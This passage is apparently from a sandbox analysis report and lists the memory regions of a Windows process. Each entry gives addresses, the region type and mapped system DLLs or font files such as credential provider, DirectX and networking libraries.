"\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3594 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3595 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3596 start_va = 0xf1073c0000 end_va = 0xf1073c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1073c0000" filename = "" Region: id = 3597 start_va = 0x7ffd1adb0000 end_va = 0x7ffd1addafff entry_point = 0x7ffd1adb0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3598 start_va = 0x7ffd1ad80000 end_va = 0x7ffd1ada1fff entry_point = 0x7ffd1ad80000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 3599 start_va = 0x7ffd1ad20000 end_va = 0x7ffd1ad7dfff entry_point = 0x7ffd1ad20000 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 3600 start_va = 0xf107d90000 end_va = 0xf107e0ffff entry_point = 0x0 region_type = private name = "private_0x000000f107d90000" filename = "" Region: id = 3601 start_va = 0x7ff646fba000 end_va = 0x7ff646fbbfff entry_point = 0x0 region_type = private name = "private_0x00007ff646fba000" filename = "" Region: id = 3602 start_va = 0xf107e10000 end_va = 0xf107e8ffff entry_point = 0x0 region_type = private name = "private_0x000000f107e10000" filename = "" Region: id = 3603 start_va = 0x7ff646fb8000 end_va = 0x7ff646fb9fff entry_point = 0x0 region_type = private name = "private_0x00007ff646fb8000" filename = "" Region: id = 3604 start_va = 0xf1073d0000 end_va = 0xf1073d1fff entry_point = 0xf1073d0000 region_type = mapped_file name = "dui70.dll.mui" filename = "\\Windows\\System32\\en-US\\dui70.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dui70.dll.mui") Region: id = 3605 start_va = 0x7ffd1ab40000 end_va = 0x7ffd1ad1efff entry_point = 0x7ffd1ab40000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 3606 start_va = 0x7ffd1a9e0000 end_va = 0x7ffd1ab30fff entry_point = 0x7ffd1a9e0000 region_type = mapped_file name = "smartcardcredentialprovider.dll" filename = "\\Windows\\System32\\SmartcardCredentialProvider.dll" (normalized: "c:\\windows\\system32\\smartcardcredentialprovider.dll") Region: id = 3608 start_va = 0xf1073e0000 end_va = 0xf1073e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1073e0000" filename = "" Region: id = 3609 start_va = 0x7ffd1a970000 end_va = 0x7ffd1a9d2fff entry_point = 0x7ffd1a970000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 3610 start_va = 0xf1073f0000 end_va = 0xf1073f0fff entry_point = 0xf1073f0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 3611 start_va = 0x7ffd1a950000 end_va = 0x7ffd1a96cfff entry_point = 0x7ffd1a950000 region_type = mapped_file name = "cngcredui.dll" filename = "\\Windows\\System32\\cngcredui.dll" (normalized: "c:\\windows\\system32\\cngcredui.dll") Region: id = 3612 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3613 start_va = 0xf107e90000 end_va = 0xf108164fff entry_point = 0xf107e90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3614 start_va = 0xf108170000 end_va = 0xf10826ffff entry_point = 0x0 region_type = private name = "private_0x000000f108170000" filename = "" Region: id = 3615 start_va = 0x7ffd1a900000 end_va = 0x7ffd1a94bfff entry_point = 0x7ffd1a900000 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 3616 start_va = 0xf108270000 end_va = 0xf10836ffff entry_point = 0x0 region_type = private name = "private_0x000000f108270000" filename = "" Region: id = 3617 start_va = 0x7ffd1a6f0000 end_va = 0x7ffd1a8f7fff entry_point = 0x7ffd1a6f0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 3618 start_va = 0x7ffd1a670000 end_va = 0x7ffd1a6eefff entry_point = 0x7ffd1a670000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 3619 start_va = 0x7ffd1a420000 end_va = 0x7ffd1a66cfff entry_point = 0x7ffd1a420000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 3620 start_va = 0xf108370000 end_va = 0xf108370fff entry_point = 0x0 region_type = private name = "private_0x000000f108370000" filename = "" Region: id = 3621 start_va = 0xf108380000 end_va = 0xf108380fff entry_point = 0x0 region_type = private name = "private_0x000000f108380000" filename = "" Region: id = 3622 start_va = 0xf108390000 end_va = 0xf108390fff entry_point = 0x0 region_type = private name = "private_0x000000f108390000" filename = "" Region: id = 3623 start_va = 0x7ffd1a3c0000 end_va = 0x7ffd1a413fff entry_point = 0x7ffd1a3c0000 region_type = mapped_file name = "biocredprov.dll" filename = "\\Windows\\System32\\BioCredProv.dll" (normalized: "c:\\windows\\system32\\biocredprov.dll") Region: id = 3624 start_va = 0xf1083a0000 end_va = 0xf1083a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f1083a0000" filename = "" Region: id = 3625 start_va = 0x7ffd1a3a0000 end_va = 0x7ffd1a3bcfff entry_point = 0x7ffd1a3a0000 region_type = mapped_file name = "winbio.dll" filename = "\\Windows\\System32\\winbio.dll" (normalized: "c:\\windows\\system32\\winbio.dll") Region: id = 3626 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3627 start_va = 0xf1083b0000 end_va = 0xf10842ffff entry_point = 0x0 region_type = private name = "private_0x000000f1083b0000" filename = "" Region: id = 3628 start_va = 0x7ff646fb5000 end_va = 0x7ff646fb6fff entry_point = 0x0 region_type = private name = "private_0x00007ff646fb5000" filename = "" Region: id = 3629 start_va = 0x7ffd1a340000 end_va = 0x7ffd1a399fff entry_point = 0x7ffd1a340000 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 3630 start_va = 0xf108430000 end_va = 0xf108430fff entry_point = 0x0 region_type = private name = "private_0x000000f108430000" filename = "" Region: id = 3631 start_va = 0xf108440000 end_va = 0xf108440fff entry_point = 0x0 region_type = private name = "private_0x000000f108440000" filename = "" Region: id = 3632 start_va = 0xf108450000 end_va = 0xf108450fff entry_point = 0x0 region_type = private name = "private_0x000000f108450000" filename = "" Region: id = 3633 start_va = 0x7ffd1a2d0000 end_va = 0x7ffd1a2dbfff entry_point = 0x7ffd1a2d0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 3634 start_va = 0x7ffd1a2e0000 end_va = 0x7ffd1a336fff entry_point = 0x7ffd1a2e0000 region_type = mapped_file name = "certcredprovider.dll" filename = "\\Windows\\System32\\certCredProvider.dll" (normalized: "c:\\windows\\system32\\certcredprovider.dll") Region: id = 3635 start_va = 0x7ffd1a280000 end_va = 0x7ffd1a2cbfff entry_point = 0x7ffd1a280000 region_type = mapped_file name = "wlidcredprov.dll" filename = "\\Windows\\System32\\wlidcredprov.dll" (normalized: "c:\\windows\\system32\\wlidcredprov.dll") Region: id = 3636 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3637 start_va = 0x7ffd1a210000 end_va = 0x7ffd1a27bfff entry_point = 0x7ffd1a210000 region_type = mapped_file name = "rasplap.dll" filename = "\\Windows\\System32\\rasplap.dll" (normalized: "c:\\windows\\system32\\rasplap.dll") Region: id = 3638 start_va = 0xf108460000 end_va = 0xf108554fff entry_point = 0xf108460000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 3639 start_va = 0xf108460000 end_va = 0xf108554fff entry_point = 0xf1084619ec region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 3640 start_va = 0xf108560000 end_va = 0xf108560fff entry_point = 0xf108560000 region_type = mapped_file name = "basebrd.dll.mui" filename = "\\Windows\\Branding\\Basebrd\\en-US\\basebrd.dll.mui" (normalized: "c:\\windows\\branding\\basebrd\\en-us\\basebrd.dll.mui") Region: id = 3641 start_va = 0xf108570000 end_va = 0xf108581fff entry_point = 0x0 region_type = private name = "private_0x000000f108570000" filename = "" Region: id = 3642 start_va = 0x7ffd1a160000 end_va = 0x7ffd1a20cfff entry_point = 0x7ffd1a160000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3643 start_va = 0x7ffd1a140000 end_va = 0x7ffd1a151fff entry_point = 0x7ffd1a140000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3644 start_va = 0x7ffd1a110000 end_va = 0x7ffd1a13dfff entry_point = 0x7ffd1a110000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3645 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3646 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3647 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3648 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3649 start_va = 0x7ffd1a100000 end_va = 0x7ffd1a10cfff entry_point = 0x7ffd1a100000 region_type = mapped_file name = "authext.dll" filename = "\\Windows\\System32\\AuthExt.dll" (normalized: "c:\\windows\\system32\\authext.dll") Region: id = 3650 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19f90000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3651 start_va = 0xf108460000 end_va = 0xf10b2f5fff entry_point = 0xf108460000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 3652 start_va = 0xf10b300000 end_va = 0xf10b37ffff entry_point = 0x0 region_type = private name = "private_0x000000f10b300000" filename = "" Region: id = 3653 start_va = 0xf10b380000 end_va = 0xf10b3fffff entry_point = 0x0 region_type = private name = "private_0x000000f10b380000" filename = "" Region: id = 3654 start_va = 0xf10b400000 end_va = 0xf10b4fffff entry_point = 0x0 region_type = private name = "private_0x000000f10b400000" filename = "" Region: id = 3655 start_va = 0x7ff646e8e000 end_va = 0x7ff646e8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff646e8e000" filename = "" Region: id = 3656 start_va = 0x7ff646fb3000 end_va = 0x7ff646fb4fff entry_point = 0x0 region_type = private name = "private_0x00007ff646fb3000" filename = "" Region: id = 3657 start_va = 0xf10b500000 end_va = 0xf10b57ffff entry_point = 0x0 region_type = private name = "private_0x000000f10b500000" filename = "" Region: id = 3658 start_va = 0x7ff646e8c000 end_va = 0x7ff646e8dfff entry_point = 0x0 region_type = private name = "private_0x00007ff646e8c000" filename = "" Region: id = 3659 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f70000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3660 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3661 start_va = 0x7ffd19f50000 end_va = 0x7ffd19f6bfff entry_point = 0x7ffd19f50000 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 4129 start_va = 0xf10b580000 end_va = 0xf10b5fffff entry_point = 0x0 region_type = private name = "private_0x000000f10b580000" filename = "" Region: id = 4130 start_va = 0xf10b600000 end_va = 0xf10b6a4fff entry_point = 0xf10b600000 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-system.dat") Region: id = 4131 start_va = 0x7ff646e8a000 end_va = 0x7ff646e8bfff entry_point = 0x0 region_type = private name = "private_0x00007ff646e8a000" filename = "" Region: id = 4132 start_va = 0xf10b6b0000 end_va = 0xf10c6affff entry_point = 0xf10b6b0000 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-fontface.dat") Region: id = 4134 start_va = 0xf10c6b0000 end_va = 0xf10ceaffff entry_point = 0xf10c6b0000 region_type = mapped_file name = "~fontcache-s-1-5-18.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-S-1-5-18.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-s-1-5-18.dat") Region: id = 4136 start_va = 0xf10ceb0000 end_va = 0xf10d062fff entry_point = 0xf10ceb0000 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 4137 start_va = 0xf10d070000 end_va = 0xf10d143fff entry_point = 0xf10d070000 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 4138 start_va = 0x7ffd18ee0000 end_va = 0x7ffd18f0ffff entry_point = 0x7ffd18ee0000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 4139 start_va = 0x7ffd18ec0000 end_va = 0x7ffd18eddfff entry_point = 0x7ffd18ec0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 4140 start_va = 0x7ffd18e80000 end_va = 0x7ffd18ebbfff entry_point = 0x7ffd18e80000 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 4145 start_va = 0xf10d150000 end_va = 0xf10d1cffff entry_point = 0x0 region_type = private name = "private_0x000000f10d150000" filename = "" Region: id = 4146 start_va = 0x7ff646e88000 end_va = 0x7ff646e89fff entry_point = 0x0 region_type = private name = "private_0x00007ff646e88000" filename = "" Region: id = 4147 start_va = 0xf10d1d0000 end_va = 0xf10d1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d1d0000" filename = "" Region: id = 4148 start_va = 0xf10d1e0000 end_va = 0xf10d1e1fff entry_point = 0xf10d1e0000 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 4154 start_va = 0xf10d1f0000 end_va = 0xf10d1f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d1f0000" filename = "" Region: id = 4155 start_va = 0xf10d200000 end_va = 0xf10d27ffff entry_point = 0x0 region_type = private name = "private_0x000000f10d200000" filename = "" Region: id = 4156 start_va = 0x7ff646e86000 end_va = 0x7ff646e87fff entry_point = 0x0 region_type = private name = "private_0x00007ff646e86000" filename = "" Region: id = 4157 start_va = 0x7ffd18e70000 end_va = 0x7ffd18e78fff entry_point = 0x7ffd18e70000 region_type = mapped_file name = "wuaext.dll" filename = "\\Windows\\System32\\wuaext.dll" (normalized: "c:\\windows\\system32\\wuaext.dll") Region: id = 4158 start_va = 0xf10d280000 end_va = 0xf10d283fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d280000" filename = "" Region: id = 4159 start_va = 0xf10d290000 end_va = 0xf10d290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d290000" filename = "" Region: id = 4160 start_va = 0xf10d290000 end_va = 0xf10d2cffff entry_point = 0xf10d290000 region_type = mapped_file name = "input.dll" filename = "\\Windows\\System32\\input.dll" (normalized: "c:\\windows\\system32\\input.dll") Region: id = 4170 start_va = 0x7ffd18d60000 end_va = 0x7ffd18e7afff entry_point = 0x7ffd18d60000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 4173 start_va = 0xf10d290000 end_va = 0xf10d290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d290000" filename = "" Region: id = 4174 start_va = 0xf10d2a0000 end_va = 0xf10d365fff entry_point = 0xf10d2a0000 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 4175 start_va = 0xf10d370000 end_va = 0xf10d371fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d370000" filename = "" Region: id = 4176 start_va = 0xf10d380000 end_va = 0xf10d381fff entry_point = 0x0 region_type = private name = "private_0x000000f10d380000" filename = "" Region: id = 4177 start_va = 0xf10d390000 end_va = 0xf10d397fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d390000" filename = "" Region: id = 4178 start_va = 0xf10d3a0000 end_va = 0xf10d3a4fff entry_point = 0x0 region_type = private name = "private_0x000000f10d3a0000" filename = "" Region: id = 4179 start_va = 0xf10d3b0000 end_va = 0xf10d3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3b0000" filename = "" Region: id = 4184 start_va = 0xf10d3c0000 end_va = 0xf10d3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3c0000" filename = "" Region: id = 4185 start_va = 0xf10d3d0000 end_va = 0xf10d3d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3d0000" filename = "" Region: id = 4186 start_va = 0xf10d3e0000 end_va = 0xf10d3e0fff entry_point = 0x0 region_type = private name = "private_0x000000f10d3e0000" filename = "" Region: id = 4187 start_va = 0x7ffd18d30000 end_va = 0x7ffd18d53fff entry_point = 0x7ffd18d30000 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 4188 start_va = 0xf10d3f0000 end_va = 0xf10d3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3f0000" filename = "" Region: id = 4189 start_va = 0x7ffd18d10000 end_va = 0x7ffd18d26fff entry_point = 0x7ffd18d10000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 4194 start_va = 0xf10d400000 end_va = 0xf10d401fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d400000" filename = "" Region: id = 4195 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 4198 start_va = 0x7ffd18c90000 end_va = 0x7ffd18d02fff entry_point = 0x7ffd18c90000 region_type = mapped_file name = "wbiosrvc.dll" filename = "\\Windows\\System32\\wbiosrvc.dll" (normalized: "c:\\windows\\system32\\wbiosrvc.dll") Region: id = 4199 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4200 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 4201 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4202 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4203 start_va = 0xf10d410000 end_va = 0xf10d48ffff entry_point = 0x0 region_type = private name = "private_0x000000f10d410000" filename = "" Region: id = 4204 start_va = 0x7ff646e84000 end_va = 0x7ff646e85fff entry_point = 0x0 region_type = private name = "private_0x00007ff646e84000" filename = "" Region: id = 4205 start_va = 0xf10d490000 end_va = 0xf10d58ffff entry_point = 0x0 region_type = private name = "private_0x000000f10d490000" filename = "" Region: id = 4206 start_va = 0x7ffd1c7a0000 end_va = 0x7ffd1c7effff entry_point = 0x7ffd1c7a194c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 4207 start_va = 0xf10d590000 end_va = 0xf10d78ffff entry_point = 0x0 region_type = private name = "private_0x000000f10d590000" filename = "" Region: id = 4208 start_va = 0x7ffd19d80000 end_va = 0x7ffd19f12fff entry_point = 0x7ffd19d8b4f0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 4209 start_va = 0xf10d790000 end_va = 0xf10d791fff entry_point = 0x0 region_type = private name = "private_0x000000f10d790000" filename = "" Region: id = 4210 start_va = 0xf10d7a0000 end_va = 0xf10d7a0fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7a0000" filename = "" Region: id = 4211 start_va = 0xf10d7a0000 end_va = 0xf10d7a1fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7a0000" filename = "" Region: id = 4212 start_va = 0xf10d7b0000 end_va = 0xf10d7b0fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7b0000" filename = "" Region: id = 4213 start_va = 0x7ffd18c20000 end_va = 0x7ffd18c25fff entry_point = 0x7ffd18c20000 region_type = mapped_file name = "wlidres.dll" filename = "\\Windows\\System32\\wlidres.dll" (normalized: "c:\\windows\\system32\\wlidres.dll") Region: id = 4214 start_va = 0xf10d7b0000 end_va = 0xf10d7b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d7b0000" filename = "" Region: id = 4215 start_va = 0xf10d7c0000 end_va = 0xf10d7c1fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7c0000" filename = "" Region: id = 4216 start_va = 0xf10d7d0000 end_va = 0xf10d7d0fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7d0000" filename = "" Region: id = 4217 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4219 start_va = 0x7ffd18a90000 end_va = 0x7ffd18c2afff entry_point = 0x7ffd18a90000 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 4221 start_va = 0xf10d7d0000 end_va = 0xf10d7d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d7d0000" filename = "" Region: id = 4222 start_va = 0xf10d7e0000 end_va = 0xf10d807fff entry_point = 0x0 region_type = private name = "private_0x000000f10d7e0000" filename = "" Region: id = 4223 start_va = 0xf10d810000 end_va = 0xf10d83ffff entry_point = 0x0 region_type = private name = "private_0x000000f10d810000" filename = "" Region: id = 4224 start_va = 0xf10d810000 end_va = 0xf10d81ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d810000" filename = "" Region: id = 4225 start_va = 0xf10d820000 end_va = 0xf10d82ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d820000" filename = "" Region: id = 4226 start_va = 0xf10d830000 end_va = 0xf10d83ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d830000" filename = "" Region: id = 4227 start_va = 0xf10d3a0000 end_va = 0xf10d3a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d3a0000" filename = "" Region: id = 4228 start_va = 0xf10d840000 end_va = 0xf10d856fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d840000" filename = "" Region: id = 4229 start_va = 0xf10d860000 end_va = 0xf10d88afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d860000" filename = "" Region: id = 4230 start_va = 0xf10d890000 end_va = 0xf10d90afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d890000" filename = "" Region: id = 4231 start_va = 0xf10d910000 end_va = 0xf10d915fff entry_point = 0x0 region_type = private name = "private_0x000000f10d910000" filename = "" Region: id = 4232 start_va = 0xf10d920000 end_va = 0xf10d920fff entry_point = 0x0 region_type = private name = "private_0x000000f10d920000" filename = "" Region: id = 4233 start_va = 0xf10d930000 end_va = 0xf10d930fff entry_point = 0x0 region_type = private name = "private_0x000000f10d930000" filename = "" Region: id = 4256 start_va = 0xf10d940000 end_va = 0xf10d956fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d940000" filename = "" Region: id = 4257 start_va = 0xf10d960000 end_va = 0xf10d99ffff entry_point = 0xf10d9610e0 region_type = mapped_file name = "input.dll" filename = "\\Windows\\System32\\input.dll" (normalized: "c:\\windows\\system32\\input.dll") Region: id = 4286 start_va = 0xf10d960000 end_va = 0xf10d960fff entry_point = 0x0 region_type = private name = "private_0x000000f10d960000" filename = "" Region: id = 4287 start_va = 0xf10d960000 end_va = 0xf10d987fff entry_point = 0x0 region_type = private name = "private_0x000000f10d960000" filename = "" Region: id = 4292 start_va = 0xf10d990000 end_va = 0xf10d9bafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000f10d990000" filename = "" Region: id = 4293 start_va = 0x7ffd18690000 end_va = 0x7ffd18957fff entry_point = 0x7ffd18690000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 4294 start_va = 0x7ffd18680000 end_va = 0x7ffd18686fff entry_point = 0x7ffd18680000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" 